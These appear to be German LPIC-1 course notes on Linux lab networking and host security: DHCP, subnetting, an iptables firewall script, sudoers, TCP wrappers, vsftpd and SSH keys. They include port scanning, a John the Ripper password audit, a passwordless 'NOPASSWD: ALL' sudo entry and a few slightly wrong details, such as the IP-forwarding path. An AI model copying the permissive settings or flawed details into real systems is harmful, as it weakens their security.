=> Aus diesem Eintrag wird normalerweise dank des Paketes _resolvconf_ der Nameserver in die Datei '/etc/resolv.conf' geschrieben.
Läuft aber der DNSMASQ-Daemon, verlagert er diese Information temporär in die '/var/run/dnsmasq/resolv.conf' und trägt
"127.0.0.1" als Nameserver in die 'resolv.conf' ein.

Diesbezüglich kann auch die folgende Zeile sehr aufschlussreich sein: `ps aux | grep dnsmasq`


Nach der Änderung in der Konfiguration bitte den Service neu starten:

	service dnsmasq restart

Nun den Logmonitor starten: `tail -f /var/log/syslog`

Jetzt kann versucht werden, die Mikro-Linux-Distribution _SliTaz_ (Sie muss keine Festplatte erhalten) im Netzwerk _intnet_ automatisch per DHCP konfigurieren zu lassen.

.Informationen aus der /var/log/syslog
----
Feb  5 13:37:35 deb7 dnsmasq-dhcp[7107]: DHCPDISCOVER(eth1) 08:00:27:b7:77:fd
Feb  5 13:37:35 deb7 dnsmasq-dhcp[7107]: DHCPOFFER(eth1) 172.16.0.24 08:00:27:b7:77:fd
Feb  5 13:37:35 deb7 dnsmasq-dhcp[7107]: DHCPREQUEST(eth1) 172.16.0.24 08:00:27:b7:77:fd
Feb  5 13:37:35 deb7 dnsmasq-dhcp[7107]: DHCPACK(eth1) 172.16.0.24 08:00:27:b7:77:fd
----


=> Bitte auch gern Windows 2003 mit ins Netz nehmen...



=== Fragen/Aufgaben zur Wiederholung

. Gegeben sei eine Netzwerk-ID von 10.0.0.0/8. Wie viele Bits müssen Sie sich vom Hostanteil borgen, wenn Sie viele, sehr kleine Unternetze schaffen sollen, die aber jeweils mindestens 3 Hosts beinhalten müssen. Wie heißt die neue Netzwerkmaske in CIDR und dezimaler Schreibweise?


  Ausgangspunkt: 11111111.00000000.000000000.0000000
  Zielpunkt:     11111111.11111111.11111111.11111000

	=> 3 Bit bleiben auf 0, um 6 Hosts adressieren zu können (2 ^ 3 = 8 - 2 = 6)

  Geborgt werden müssen 21 Bits (2 ^ 21 = 2097152 Unternetze), die Subnetzmaske lautet nun /29
  oder 255.255.255.248.

. Mit welchen drei Werkzeugen können Sie DNS-Eintrage von Nameservern erfragen?

	* host
	* nslookup
	* dig

. Erkunden Sie, welche TCP- und UDP-Ports Ihr Debian-Router geöffnet hat. Verwenden Sie dabei lokal arbeitende Kommandos und spezielle Werkzeuge, die Sie auch remote (von CentOS aus) einsetzen können (vier Tools).

	* netstat -tulpen
	* lsof -i -P
	* nc -zv 172.16.0.1 20-2000
	* nmap 172.16.0.1

. Mit welchen zwei für die LPI-Prüfung relevanten Kommandos können Sie sich Ihre Routingtabelle ausgeben?

	* `route [-n]`
	* `netstat -r [-n]`

. Lassen Sie sich mittels zwei für die LPI-Prüfung relevanten Kommandos Interface-Statistiken ausgeben.

	* `ifconfig`
	* `netstat -i`

. Schreiben Sie ein Skript 'fw-simple', das grundlegende Regeln für eine einfache Firewall beinhalten soll. Definieren Sie im Header des Skriptes die weiter unten stehenden Funktionen `open` und `close` (Siehe Datei 'lpic1-vorbereitung-2015-01-14.txt'). Rufen Sie diese Funktionen aus einer case-Verzeigung heraus auf: der erste Zweig soll mit dem Übergabeparameter _stop_ die Funktion `open` ausführen, der zweite Zweig soll mittels dem Übergabeparameter 'start' die Funktion `close` abarbeiten.

.Siehe auch Datei "lpic1-vorbereitung-2015-01-14.txt"
----
open(){
	iptables  -P  INPUT ACCEPT
	iptables  -P  OUTPUT ACCEPT
	iptables  -P  FORWARD ACCEPT
	iptables  -F
	iptables  -X
	iptables  -Z
}

close(){
	iptables  -P  INPUT DROP
	iptables  -P  OUTPUT DROP
	iptables  -P  FORWARD DROP
	iptables  -F
	iptables  -X
	iptables  -Z
}

case "$1" in

  start)
	  close
	  echo "Firewall wurde aktiviert."
          ;;
  stop)
	  open
	  echo "Firewall wurde deaktiviert, KEINE Sicherheit mehr vorhanden!"
	  ;;
  *)
	  echo "Aufruf: $0 {start|stop}"
	  ;;
esac
----

== Topic 109.4: Clientseitiges DNS konfigurieren


Als Wiederholung und Vertiefung (Handlungsrahmen):

  * Tragen Sie in Ihre `/etc/hosts` einen bekannten Webserver (z.B. http://blindekuh.de) mit der 	IP-Adresse `1.2.3.4` ein.

            echo "1.2.3.4   blindekuh.de"  >> /etc/hosts

  * Übungshalber setzen und entfernen der Proxy-Variable "http_proxy"

	  export  http_proxy="http://172.16.0.1:3128"

          unset  http_proxy

  * Testen Sie mit "w3m", ob Sie noch diese Suchmaschine aufrufen können.
    (Sie können auch gern "lynx" installieren und dafür benutzen)
        -> Ansonsten bitte auch gern mit dem Kommando "ping" testen!

          ping -c3  blindekuh.de

		PING blindekuh.de (1.2.3.4) 56(84) bytes of data.
		...

	  Nach eine Weile bricht der ping wegen Timeout ab!

  * Verbiegen Sie die Reihenfolge der Namensauflösung: Zuerst soll der Nameserver kontaktiert werden, danach erst die '/etc/hosts':

          vi /etc/nsswitch.conf

                  hosts:          dns files


          Je nach Distribution evl. erforderlich:    `service nscd restart`

 * Testen Sie, ob Sie jetzt wieder z.B. http://blindekuh.de erreichen können

          ping -c3  blindekuh.de

   => Es funktioniert wieder, da jetzt ZUERST die '/etc/resolv.conf' ausgewertet wird, danach erst
      die Datei '/etc/hosts'.


 * Setzen Sie abschließend die Einstellungen in beiden Dateien zurück, testen Sie es aus.

          vi /etc/nssswitch.conf

                  hosts:          files dns

          Sofern vorhanden: `service nscd restart`

          sed -i '/blindekuh/d' /etc/hosts

          ping -c3  blindekuh.de


* Aufgabe: Lösen Sie typische Tracker-URls in der '/etc/hosts' gegen 127.0.0.1 auf, z.B.:

	** de.ioam.de
	** qs.ivwbox.de

   Siehe auch: https://www.sit.fraunhofer.de/de/tpl/



=== Fragen/Aufgaben zur Wiederholung

. Erzeugen Sie einen ersten IP-Alias auf Ihrer 1. Ethernet-Schnittstelle mit der Adresse 172.16.5.10/24.

   * `ifconfig eth0:0 172.16.5.10/24`

. Erzeugen Sie einen zweiten IP-Alias auf ebendieser 1. Ethernet-Schnittstelle mit der Adresse 172.16.77.10/24.

   * `ifconfig eth0:1 172.16.77.10/24`

. Wie lauten die Netzwerk-IDs dieser beiden IP-Aliase?

   * `172.16.5.0/24`
   * `172.16.77.0/24`

. Erzeugen Sie Netzrouten zwischen den beiden neuen Netzen, als Gateway tragen Sie die eigene Maschine ein.

   * `route add -net 172.16.77.0 netmask 255.255.255.0 gw 127.0.0.1`
   * `route add -net 172.16.5.0 netmask 255.255.255.0 gw 172.16.77.10`

. Lassen Sie sich Ihre Routingtabelle ausgeben und notieren Sie die IP-Adresse Ihres Standardgateways. Löschen Sie danach das  Standardgateway.

   * `route -n`
   * Erreichbarkeitskontolle über ein bestimmtes lokales Interface: `ping -I 172.16.0.1 172.16.5.10`
   * STD-GW: 10.23.18.1
   * Entferung mit `route del default`

. Prüfen Sie, ob Sie einen Zielserver im Internet erreichen können. Setzten Sie wieder Ihre Standardgatewayroute. Prüfen Sie abermals.

   * `ping 8.8.8.8 -c3` => connect: Network is unreachable
   * Route wieder hinzufügen `route add default gw 10.23.18.1`

. Entfernen Sie abschließend die beiden IP-Aliase.

   * `ifconfig eth0:0 down`
   * `ifconfig eth0:1 down`

. Fügen Sie dem Skript 'fw-simple' einen weiteren case-Zweig _natonly)_ hinzu, der die Firewall öffnet, IP-Forwarding aktiviert und die beiden folgenden Zeilen ausführt (Bitte auf eigene Bedürfnisse anpassen, siehe auch unter Debian die Datei '/etc/rc.local'):

----
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -t nat -A PREROUTING -i eth0 -d 10.23.18.109 -p tcp --dport 222 -j DNAT   --to-destination 172.16.0.2:22
----

.Lösung (Siehe Datei 'fw-simple-0.2')

Unterhalb des stop-Zweiges ist folgendes einzufügen:

----
natonly)
  open
  # IP-Forwarding
  echo 1 > /proc/sys/ipv4/ip_forward
  # NAT-Routing
  iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
  # Port-Forwarding zu CentOS (ssh-Server)
 iptables -t nat -A PREROUTING -i eth0 -d 10.23.18.109 -p tcp --dport 222 -j DNAT --to-destination 172.16.0.2:22
  ;;
----

== Topic 110.1: Perform security administration tasks


ZIEL: Systemkonfiguration in Sachen Sicherheit prüfen, dabei sollen die Richtlinien des IT-Sicherheitsbeauftragten beachtet werden

=== Suche nach Dateien mit Sonderrechten

Zur Motivation: Dateien mit dem SUID- und SGID-Bit können Angreifern ein Einfallstor bieten, wenn Anwendendereingabe-String nicht sauber verarbeitet werden (Buffer-Overflow!).

Klassisches Beispiel - Benutzerverwaltung:

Wozu ist beim Programm `/usr/bin/passwd` das SUID-Bit erforderlich?

  => Damit der einfache User sein Passwort ändern kann. Er muss die Datei '/etc/shadow'  bearbeitet können.

    * Jeweils einzeln nach den Bits fahnden:

            find / -perm -o+t
            find / -perm -1000

            find / -perm -g+s
            find / -perm -2000

            find / -perm -u+s
            find / -perm -4000

   * Mit einer einzigen Kommandozeile:

            find / -perm -1000   -o   -perm -2000   -o  -perm -4000  \
			 2> /dev/null | egrep '/tmp|wall|passwd'  | xargs ls -ld


Wieviel SUID-Dateien finden Sie auf den folgenden Systemen?

	* Debian:  30
	* CentOS:  28
	* Slitaz:  12

=== Nutzer-Accounts prüfen

   * Verfallszeiten ansehen:  `chage -l max`
   * Wie sehen die Dateien /etc/shadow und /etc/passwd insbsondere in Bezug auf die Spalte 2 aus?

          - shadow:  Sind zu schwache Passwörter von Usern gesetzt worden? -> "john the ripper" +
	     darauf ansetzen sowie die beiden Pakete "libcrack2" und  "libpam-cracklib" (Debian) 		     installieren

	     AUFGABE: Bitte dieses Paket auf Debian installieren und testen, ob ein
	     Benutzer sich immer noch ein solch einfaches Passwort wie "12345678" setzen kann.

          - passwd:  Tauchen hier sogar Klartextpasswörter auf?  -> Konvertierung zum Shadow- +
		     System: Kommando `pwconv`


=== Offene TCP/UDP-Ports finden / Netzwerkkommunikation kontrollieren

   * Nmap hat TCP-Scan voreingestellt, außerdem wird standardmäßig mit Ping die Erreichbarkeit getestet, deshalb diese Optionen (DHCP-Server-Port = 67):  `nmap -p 50-100 -P0 -sU proxyserver`
   * Für Schnelltest: `telnet proxyserver 53`
   * Mittels "netcat" Ports scannen: `nc -z -v 127.0.0.1 22`
   * Werkzeug "socket", um Web-Clients (wget, w3m, lync, firefox, ...) zu testen:    `socket -sl 80`      (Ein listening Daemon = Server)


=== Ressourcenverwendung kontrollieren

   * Kommando `ulimit`:  Environment-Eigenschaften wie z.B. der Größe von core-Files, Datengröße 					eines Programmes. Dabei werden Limitierungen unterschieden, die +
+
	a) Von einer bash-Umgebung aus gestartet wurden (z.B. maximale Dateigröße mit '-f')
	b) Nicht mit einer bash zusammenhängen (z.B. max. Anzahl von User-Prozessen mit '-u') +
+
+
            -> Systemweite Konfiguration:   /etc/profile   oder  /etc/security/limits.conf +

   * Wichtige Optionen:
          -c <GRÖSSE>	= Maximalgröße für Core-Files
          -d <GRÖSSE>	= Maximale Datengröße für Programme
          -f <GRÖSSE>	= Maximale Dateigröße  (z.B.  4MB:  `ulimit -f 4000`)
	  -a		= Alle gesetzten Limits ausgeben
          -n <ANZAHL>	= Maximale Anzahl von offenen Dateien festlegen
	  -v <GRÖSSE>	= Maximale Größe des virtuellen Speichers (z.B. 500MB = 512000kB:
				`ulimit -v 512000`, Damit kann allerdings Firefox nicht mehr
				 starten, wie mit `top` festgestellt, braucht er über 700 MB
				 virtuellen speicher!)

   * Fragen zur Vertiefung
       - Was macht `ulimit` genau? Es kann als Shellbuiltin (Deshalb: "help ulimit") Ressourcen einschränken, dass betrifft vor allem Prozesse aber verschiedene interne Shellressourcen.

       - Was macht die Zeile `ulimit -Sd $(ulimit -Hd)`? Zuerst die max. Datengröße für Programme ermitteln, danach diesen Wert als Quelle für das zu letztenden Softlimit verwenden.


=== Offene Dateien finden

   * Historisch wichtig: `fuser -mv /mnt`
   * Das "neue" Kommando: `lsof`
            - Optionen:
                ** `-i`  -> Netzwerkprotokoll angeben, z.B.  `lsof -iTCP`
		** `-n`  -> Numerische ausgabe: IP-Adressen anstelle von Hostnamen
                ** `-P`  -> Portnummern in dezimaler Form ausgeben, z.B.  `lsof -iTCP -P`
                ** `-t`  -> "knappes" Listing, dh. es werden nur die Prozess-IDs ausgegeben, 				    nicht die weiteren Eigenschaften
		** `-u <USER>` Die Prozesse eines Users ausgeben
		** `-c <PROGRAM>` Eine Liste geöffneter Dateien eines bestimmten Programmes anzeigen (z.B.: `lsof -n -c iceweasel`)
		** `-p <PID>` Eine Liste geöffneter Dateien eines bestimmten Prozesses anzeigen: `lsof -p 4185`


=== Super User do



Ziel: Nur bestimmte, einzelne Aufgaben mit erhöhten Rechten ausführen.


  * Kommando `sudo` (= "Vorschalt-Kommando", das dem eingentlichen Kommando vorangestellt wird)
  * Datei: /etc/sudoers
  * Kommando zum Bearbeiten der Datei '/etc/sudoers': `visudo`


Aufgabe: Erzeugen Sie einen Eintrag, der es allen Benutzern ermöglicht, das Kommando `shutdown` OHNE Passwortabfrage zu benutzen.

    Tux:     sudo /sbin/shutdown -hk now


.Kommando: `visudo`
----
#USER   HOST  RUNAS   TAG     COMMANDS
tux     ALL = (ALL) NOPASSWD: /sbin/shutdown
----

=== Fragen/Aufgaben zur Wiederholung


. Legen Sie einen Benutzer _lpictest_ an, wobei Sie ihm als Heimatverzeichnis +
'/opt/home/lpictest' zuweisen. Setzen Sie ihm ein Passwort.

   mkdir /opt/home
   useradd -d /opt/home/lpictest -m lpictest
   passwd lpictest

. Dieser neue Benutzer ist sehr sicherheitsbewusst und setzt sich sehr oft ein
neues Passwort, das er dann aber immer mal wieder vergisst. Setzen Sie dem eine
Grenze; er soll frühestens nach 5 Tagen sein Passwort ändern können.

   passwd -n 5 lpictest    => alternativ:    chage -m 5 lpictest

     (Langform für beide Kommandos: '--mindays'

. Mit welchem Schalter von `su` kann man mal eben schnell eine Kommandozeile wie
`shutdown -h now` ausführen, ohne sich erst richtig interaktiv an einem neuen
Shellprompt zu befinden?

   Mit Option: '-c'   =>   su -l -c "shutdown -h now"

. Wie ist die Datei '/etc/sudoers' aufgebaut? Was bedeutet _ALL_? Eine einfache
Erkärung ist unter https://www.gentoo.org/doc/de/sudo-guide.xml  zu finden.

  * Syntax: 'username hostname = (runasuser) commands'
  * 'ALL' ist ein Alias, der für diese eben genannten Objkte verwendet werden kann.

. Erzeugen Sie unter CentOS Linux einen Eintrag mit Hilfe von `visudo` im
Abschnitt _User priviledge specification_, der es dem Nutzer _tux_ gestattet, ohne Passworteingabe alle möglichen administrativen Aufgaben durchzuführen.

  tux ALL = (ALL) NOPASSWD: ALL


  grep -v ^# /etc/sudoers | grep -v ^$ | tail -3
     root	ALL=(ALL) 	ALL
     tux	ALL=(ALL)	NOPASSWD: ALL
     %wheel	ALL=(ALL)	ALL

  HINWEIS: In Sachen Sicherheit ist dies freilich keine gute Idee, besser ist es z.B. auch
  auf Rasbian den root-Account mit 'passwd root' zu aktivieren und die Zeilen

	%sudo ALL=(ALL:ALL) ALL
	pi ALL=(ALL) NOPASSWD: ALL

  zu deaktivieren.

. Mit welchen beiden Kommandozeilen können Sie nachsehen, welche geöffneten Dateien es
unter '/proc' gibt?

   fuser -mv /proc
   lsof /proc

. Mit welchen Optionen lassen sich bei `ulimit` Hard- und Softlimitierungen
setzen?

   * `-H`
   * `-S`
   * Siehe `help ulimit` sowie `ulimit -a`

. Zwei Spielhallenbetreiber wollen ihre Netzwerke für ein gemeinsames LAN-Party-Event zusammenschalten. Es werden zwischen 400 und 500 Mitspieler erwartet. Wie muss die Netzwerkmaske verändert werden, wenn die beiden vorhandenen Netzwerk-IDs 198.67.253.0 und 198.67.254.0 lauten?

    Die neue Maske lautet /22 oder 255.255.252.0.

. Erweitern Sie das Firewall-Skript im _start)_-Zweig um die unten genannten Zeilen.
Definieren Sie im Header des Skriptes eine Variable namens _intnet_, weisen Sie ihr den Wert _172.16.0.0/27_ zu und ersetzen Sie in den iptables-Zeilen die Netzwerk-IDs durch den entsprechenden Variablenaufruf.

----
iptables -A FORWARD -s 172.16.0.0/27 -d any/0 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
iptables -A FORWARD -s any/0 -d 172.16.0.0/27 -m state --state ESTABLISHED,RELATED -j ACCEPT
----

Lösung: Siehe Datei 'fw-simple-0.3'.



== Topic 110.2: Setup host security

http://www.vorkon.de/VorKon-12.1-Leseprobe/drittanbieter/Dokumentation/linuxfibel/wrapper.htm

Ziel: Absicherung und Deaktivierung von Service

Neben der althergebrachten Art, Services im standalone-Betrieb mit System-V-Dateien ('/etc/inittab', im Beispiel (Debian): '/etc/init.d/ssh' sowie '/etc/rc2.d/S02ssh') zu starten, gibt den Superserver _inetd_, der bei Bedarf die i.d.R. ruhenden Server startet.

image::inetd-tcpd.png[Die einzelnen Komponenten und ihre Konfigurationsdateien]


Aufgabe: Installieren auf dem Debian-System den _vsftpd_-Server, konfigurieren Sie ihn, so dass er nicht mehr standalone läuft, sondern den inetd zum Starten benötigt.

	* Datei:  '/etc/vsftpd.conf'
	* Parameter: 'listen'              => "listen=NO"

Daneben bitte noch für lokalen User-Login die Zeilen 26 und 29 aktivieren.


Nun muss der Dienst gestoppt werden:  `service vsftpd stop`


Im nächsten ist der inetd zu installieren/konfigurieren:

	* Installation: `apt-get install openbsd-inetd`
	* Konfiguration: `vi /etc/inetd.conf`

----
ftp  stream  tcp  nowait  root  /usr/sbin/vsftpd
----

	* Dienst starten (er läuft noch nicht, weil er keine aktive Zeile fand): `service openbsd-inetd start`


Jetzt folgen Tests und die Einbindung von tcpd.

	* Verbindungsaufnahme: `ftp localhost`
		** Zugriffsmöglichsmöglichkeiten:
			- Als Benutzer anonymous/ftp (Speicherort: '/srv/ftp' laut Heimatverzeichnis des Benutzers _ftp_, siehe '/etc/passwd')
			- Als normaler Benutzer (Speicherort: $HOME)

	* Verbindungsaufnahme von verschiedenen Netzwerken aus, Ziel: nur über 172.16.0.0/29
	  erreichbar sein:
			- Vom Windows-Hosts aus:  WIN+R: cmd => `ftp 10.23.18.109` <= OK (Noch!)
			- Vom CentOS aus: `ftp 172.16.0.1`  <= Ist und bleibt OK

**Aufgabe zur Vertiefung von 'inetd':** Installieren Sie das Samba-Server-Web-UI _swat_ mitsamt allen abhängigen Paketen. Ist bei Clientanfragen an den Port 901 etwas zu sehen? (`nmap` benutzen). Wie sieht die dafür verantwortliche Zeile in der '/etc/inetd.conf' aus?


=== Zugriffskontrolle mit dem TCP Wrapper (tcpd)

  * Der tcpd ist unabhängig von (x)inetd!
  * Der xinetd benötigt den tcpd nicht, er besitzt eine eigene Zugriffskontrolle
  * Wenn man den tcpd als Kontrollinstanz für den alten inetd einbinden möchte, macht man dies so:

**Wichtig:** Einfügen von `/usr/sbin/tcpd` VOR dem eigentlichen, abhängigen, zu startenden Daemon-Binary. +
+
Datei '/etc/inetd.conf' editieren:

----
ftp  stream  tcp  nowait  root /usr/sbin/tcpd /usr/sbin/vsftpd
----

Danach muss der _inetd_ seine Konfiguration neu einlesen:

	kill -1 `cat /var/run/inetd.pid`

		Alternativ:

	kill -SIGHUP `cat /var/run/inetd.pid`

Es gibt zwei Konfigurationsdateien für die Zugriffskontrolle, die folgende restriktive Vorgehensweise ist allgemein empfehlenswert: Was in der 'hosts.allow' nicht explizit erlaubt wurde, wird mittels einer abschließenden Regel in der 'hosts.deny' verboten:

a) Zuerst wird die '/etc/hosts.allow' abgearbeitet:

		vsftpd :  172.16.0.0/255.255.255.224

 		vsftpd :  10.23.18.,172.16.0.0/255.255.255.224 EXCEPT 172.16.0.3

Im zweiten Beispiel werden zwei Netzwerke zugelasssen, ausgenommen die Maschine 172.16.0.3.


Bei Verwendung von NIS-Domänen könnte man alle lokalen Hosts (via Hostnamen, in denen kein Punkt vorkommt) mit

	vsftpd : LOCAL

Zugriff gewähren.

Das folgende Beispiel ist LPI-relevant, es blockiert Anfragen von _*.example.com_ und sendet an Stelle dessen "421 Bad hacker, go away!".

	vsftpd : .example.com : twist /bin/echo "421 Bad hacker, go away!"


b) Danach wird die '/etc/hosts.deny' abgearbeitet, Beispielinhalt für die oben beschriebene Arbeitsweise:

               ALL : ALL

   * Hinweise:
	 - Man-Pages: `man hosts_access` sowie `man hosts_options` => Option _twist_! (Debian)
         - Es muss kein Neueinlesen dieser Änderungen durchgeführt werden; der tcpd läuft nicht ständig, vielmehr wird er mit jeder neuen eingehenden Clientanfrage aktiv und arbeitet dann die Dateien ab
         - Es kann wahlweise auch nur eine der beiden Dateien verwendet werden, dann müssen Ausschlüsse mit 'ECEPT' definiert werden.
	 - Weiterführendes: http://www.softpanorama.org/Net/Network_security/TCP_wrappers/index.shtml


=== Benutzung von vsftpd

Anonymer Zugriff:

----
root@deb7:~# tail -1 /etc/passwd
ftp:x:122:133:ftp daemon,,,:/srv/ftp:/bin/false
root@deb7:~#
root@deb7:~#
root@deb7:~# echo Hallo... > /srv/ftp/willkommen.txt
root@deb7:~#
root@deb7:~# ftp localhost
ftp: connect to address ::1: Connection refused
Trying 127.0.0.1...
Connected to localhost.
220 (vsFTPd 2.3.5)
Name (localhost:tux): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0               9 Feb 10 11:56 willkommen.txt
226 Directory send OK.
ftp> by
221 Goodbye.
root@deb7:~#
----


=== Login für einfache Benutzer sperren

  * Das Sicherheits-Modul 'pam_nologin' (Siehe dazu auch die gleichnamige man-Page) sorgt dafür, dass bei Vorhandensein der Datei `/etc/nologin` jeder Neulogin von allen Benutzern außer `root` verhindert wird. Die Datei einfach anlegen:

              echo "Wegen Wartungsarbeiten geschlossen." > /etc/nologin

  * Nach Beendigung der Wartungsarbeiten löscht `root` einfach diese Datei und alles ist wie vorher.


=== Fragen/Aufgaben zur Wiederholung

. Wie heißen die Konfigurationsdateien des alten sowie des neuen Internet-Superservers?

	* '/etc/inetd.conf'
	* '/etc/xinetd.conf'  bzw.  '/etc/xinetd.d/*'

	* Kommando zum Prüfen der Syntax: `tcpdchk`

. Wie heißen die Konfigurationsdateien des TCP-Wrappers? Listen Sie die Dateinamen gemäß ihrer Abarbeitsungreihenfolge auf.

	.. '/etc/hosts.allow'
	.. '/etc/hosts.deny'

. Prüfen Sie mit `ldd`, ob Sie das Programm `/usr/sbin/sshd` über den TCP-Wrapper schützen können.

	ldd `which sshd` | grep libwrap

		libwrap.so.0 => /lib/x86_64-linux-gnu/libwrap.so.0 (0x00007f12bfe1a000)

. Sorgen Sie mit Hilfe des TCP-Wrappers dafür, dass der SSH-Dienst unter Debian nur von Ihrem Windows-Host aus zugreifbar ist.

	* Datei '/etc/hosts.allow' editieren:

		sshd : 10.23.18.100

. Falls nicht bereits geschehen, installieren Sie auf CentOS den alten Standard-tcpd, konfigurieren Sie ihn so, dass er SSH nur aus dem Netzwerk 172.16.0.0/27 heraus zulässt.

	* Lösung 1 (Wegen Übersichtlichkeit zu bevorzugen):

		** Datei '/etc/hosts.allow':  `sshd : 172.16.0.0/27`
		** Datei '/etc/hosts.deny':  `ALL : ALL`

	* Lösung 2 (Das Ganze nur in einer Datei):

		** Datei '/etc/hosts.deny':  `ALL : ALL EXCEPT 172.16.0.0/27`

. Blockieren Sie den Zugang zum CentOS-System für alle Benutzer außer _root_, er soll ungehindert auch vom  Netzwerk aus zugreifen können.

	echo "Kein Zugang" > /etc/nologin

. Modifizieren Sie das Firewall-Skript, indem Sie die beiden iptables-Zeilen aus den _natonly)_-Zweig in eine Funktion namens _natrouter_ auslagern und sie dann an Stelle der beiden Zeilen
einbinden. +
+
=> Siehe Datei 'fw-sipmle-0.4'


== Topic 110.3: - Daten durch Verschlüsselung schützen
Siehe dazu:

	* Doku: https://www.informatik.tu-darmstadt.de/BS/Lehre/Sem98_99/T11/
	* Lernsoftware (Windows): https://www.cryptool.org/de/

=== Verschlüsselungsarten

.Symmetrische Verschlüssung

	* Auf beiden Seiten ist der eine, selbe Schlüssel hinterlegt
	* Einsatz bei _Pre Shared Key_ => WLAN
	* Schwierige Schlüsselverwaltung
	* Wichtige Verschlüsselungsverfahren: AES (WPA2 bei WLAN), Blowfish, 3DES

.Asymmetrische Verschlüsselung

	* Laut Kerkhoff: Selbst wenn der Algorithmus in die Hände des Feindes fällt, dürfen keine
		Rückschlüsse auf den Schlüssel gezogen werden können
	* Das Schlüsselpaar besteht aus dem privaten Schlüssel, der NIEMALS das System verlassen
	 darf, der öffentliche Schlüssel wird weitergegeben
	* Ablauf einer Verschlüsselung:
		** Der Sender verschlüsselt die Nachricht mit dem Public-Key der Empfängers
		** Der Empfänger entschlüsselt sie mit seinem eigenen Private-Key
	* Wichtige Verschlüsselungsverfahren: RSA, DH (IKE-Handshake), ECDSA (Unter Mitwirkung der NSA entstanden!), DSA
	* Risiken: Zu geringe Schlüssellänge (inbesondere bei RSA wichtig), oft kein Schutz gegen
		Man-In-The-Middle (MITM) Angriffe => **Fingerabruck prüfen!**

	* Anwendungen, die u.a. RSA verwenden:  Secure Shell, Pretty Good Privacy (GnuPG)

=== Die Secure Shell

.Bestandteile:

	* ssh (ersetzt `rlogin` und `rsh`) => Fernadministration (remote control)
	* scp (ersetzt `rcp`) => remote copy
	* sftp (ersetzt mit reduziertem Befehlssatz einen klassische `ftpd`)


=== Aufbau einer Vertrauensbasis

       .  Zuerst einmal wird auf dem **Server** der eigene krytografische Fingerabdruck vom eigenen Schlüsselpaar extrahiert, damit Clients später die Identität des Servers überprüfen können. Je nach Distribution werden unterschiedlich viele Schlüssel für die verschiedenen Verschlüsselungsalgorithmen vorgehalten:

  => ssh-keygen -l -f /etc/ssh/ssh_host_ecdsa_key.pub

  => ssh-keygen -l -f /etc/ssh/ssh_host_rsa_key.pub

       . Beim ersten Verbingsaufbau von **Clients** via mit ssh, scp oder sftp wird der   
         öffentliche
	 Schlüssel vom Server automatisch heruntergeladen und ein Fingerabruck daraus generiert, 		 der nun mit dem Fingerabdruck, der auf dem Server ausgegeben wurde, verglichen werden 		 muss. Stimmt er überein, Unterschreibt der Client mit **yes** die Echtheit der 		Serveridentität. +
	Danach wird die IP-Adresse bzw. der Hostname des Servers zusammen mit dem eben
	heruntergeladenen Public-Key des Servers in der benutzerdefinierten Datei
	 '~/.ssh/known_hosts' gespeichert.  +
+
Dieser vertrauensbildende Vorgang kann auch vom Admin durchgeführt werden, die systemweite	 Datenbankdatei heißt '/etc/known_hosts'.

	. Der Client bestimmt, welches Verschlüsselungsverfahren angewendet wird, will er RSA für die Kommunikation, schiebt er das Ganze so an:

	ssh  -o  HostKeyAlgorithms=ssh-rsa-cert-v01@openssh.com,\
			ssh-dss-cert-v01@openssh.com,ssh-rsa-cert-v00@openssh.com,\
			ssh-dss-cert-v00@openssh.com,ssh-rsa,ssh-dss  tux@deb7

	(Oft funktioniert auch die Kurzform: "HostKeyAlgorithms=ssh-rsa")


	. Die Clientseitige Datenbankdatei _known_hosts_ kann durchsucht u. bearbeitet werden:
		.. Bei nicht gehashten Adressen/Hostnamen: grep/vi
		.. Bei gehashten Adressen/Hostnamen: `ssh-keygen -F <HOST>` bzw: `ssh-keygen -R <HOST>`


=== Konfiguration der Secure Shell

.Serverseitig:
	* Dateiname: '/etc/ssh/sshd_config'  (Wegen dem Daemon ist ein **_d_** im Dateinamen)
	* Eine wichtige Einstellung, die root-Login verbietet: _PermitRootLogin no_
	* Falls ein Login mittels eigenen Schlüsselpaaren erzwungen werden soll: _PasswordAuthentication no_
	* Festlegen, welche Nutzer Zugriff bekommen sollen: Parameter _AllowUsers_, _DenyUsers_, _AllowGroups_ und _DenyGroups_
	* Einen Verschlüsselungsalgorithmus nicht mehr anbieten, Zeile löschen: _HostKey /etc/ssh/ssh_host_ecdsa_key_


.Clientseitig:
	* Dateiname: '/etc/ssh/ssh_config' (Ohne _**d**_!)
	* Bequemlichkeitseinstellung (Der Client kann dann '-X' weglassen): _ForwardX11 yes_
	* Festlegen, dass Clients einen anderen als den voreingestellten (einkompilierten) Verschlüsselungsalgorithmus nutzen sollen: _HostKeyAlgorithms ssh-rsa-cert-v01@openssh.com,..._ (s.o.)


=== Eigenes clientseitiges Schlüsselpaar erzeugen

**Zur Orientierung:** Das Ganze geschieht auf dem Client, er legt zum Schluss lediglich seinen öffentlichen Schlüssel unter dem Namen 'authorized_keys' auf dem Server ab.

   * Ziele:
         - Zweifaktorauthentifizierung
         - Automatischer Login für Backup-Tools wie `rdiff-backup`

   * Erzeugung eines eigenen Schlüsselpaares auf dem Client (= CentOS) ohne Passphrase für Autologin

         ssh-keygen -t rsa  -b 4096  -N ""

   * Kopieren des Inhaltes von `~/.ssh/id_rsa.pub` (Das ist der öffentlicher Schlüssel!) in eine
	 Datei namens `~/.ssh/authorized_keys` auf den Server +

	. Kopieren auf manuelle Art (alles auf dem Client):
		- Sicherstellen, dass es auf dem Server den Ordner '~/.ssh' gibt:

			tux@client>  ssh tux@server "mkdir -p ~/.ssh"

		- Die Public-Key-Datei kopieren und umbenennen (ACHTUNG: Nur beim ersten Mal, sonst droht Datenverlust!)

			tux@client>  scp ~/.ssh/id_rsa.pub  tux@server:.ssh/authorized_keys



	. Komfortables Kopieren ebenfalls auf dem Client):

	      ssh-copy-id  tux@server

    * Tipps fürs Testen:
	** Der besseren Übersicht halber erst einmal mit gleichen Benutzernamen
		arbeiten: tux@client => tux@server (Entsprechend wird auf beiden Seiten automatisch '/home/tux/.ssh' erwartet)
	** Nach erfolgreichem Login nicht auf dem Server eingeloggt bleiben (Man will ja wahrscheinlich noch nicht wirklich den Server fernadministrieren, sondern erst einmal die Client-History zu Dokumentationszwecken sichten.):

		exit
		history 20 > ssh-versuche-histfile-01.txt


